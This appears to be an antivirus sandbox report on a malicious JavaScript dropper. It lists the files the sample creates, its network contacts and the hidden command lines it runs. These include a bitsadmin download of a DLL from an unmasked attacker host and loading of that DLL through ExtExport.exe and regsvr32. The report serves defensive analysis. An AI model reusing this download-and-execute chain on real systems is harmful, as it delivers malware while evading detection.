Technical Information
Malicious functions
Creates and executes the following
- '%WINDIR%\explorer.exe' /c, C:\Users\Public\Documents\Eivd7q3.js
Modifies file system
Creates the following files
- C:\users\public\documents\eivd7q3.js
- nul
- C:\users\public\h
- %APPDATA%\qhb8094343\bit14b9.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\qhb8094343\bit14b9.tmp
Moves the following files
- from %APPDATA%\qhb8094343\bit14b9.tmp to %APPDATA%\qhb8094343\sqlite3.dll
Network activity
TCP
HTTP GET requests
- http://a7####.#financeirosa.com.de/?01#
- http://80####.###ormativomensaisa.com.de/?13###############
- http://80####.###ormativomensaisa.com.de/?06###############
- http://80####.###ormativomensaisa.com.de/?31###############
UDP
- DNS ASK a7####.#financeirosa.com.de
- DNS ASK r7####.###temfinanceglobal.com.de
- DNS ASK 80####.###ormativomensaisa.com.de
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\Eivd7q3.js"
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\Eivd7q3.js"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\QHB8094343\>C:\Users\Public\h"&& exit' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 68966 /priority foreground https://r7aow8.sistemfinanceglobal.com.de/?367356262582941399913634112333011 %APPDATA%\QHB8094343\sqlite3.dll' (with hidden window)
- '<SYSTEM32>\cmd.exe' /V /C "echo 0>%APPDATA%\QHB8094343\\r1.log"&& exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\QHB8094343\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}' (with hidden window)
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\QHB8094343\sqlite3.dll"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /S /D /c" sEt/p FHnxrj6="%VZQ:IDKSLN=%%9IHcvj7:1NBQX=/%" 0<nul 1>C:\Users\Public\Documents\Eivd7q3.js"
- '<SYSTEM32>\cmd.exe' /S /D /c" md \ |"
- '<SYSTEM32>\cmd.exe' /S /D /c" cd %WINDIR% 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" exit 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" echo K8DYRCI66L4WFBES4IL4EIXXJF8R 1>nul"
- '<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\QHB8094343\>C:\Users\Public\h"&& exit
- '<SYSTEM32>\bitsadmin.exe' /transfer 68966 /priority foreground https://r7aow8.sistemfinanceglobal.com.de/?367356262582941399913634112333011 %APPDATA%\QHB8094343\sqlite3.dll
- '<SYSTEM32>\cmd.exe' /V /C "echo 0>%APPDATA%\QHB8094343\\r1.log"&& exit
- '<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\QHB8094343\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
- '%ProgramFiles(x86)%\internet explorer\extexport.exe' "%APPDATA%\QHB8094343\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\QHB8094343\sqlite3.dll"
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit
- '<SYSTEM32>\timeout.exe' 4000
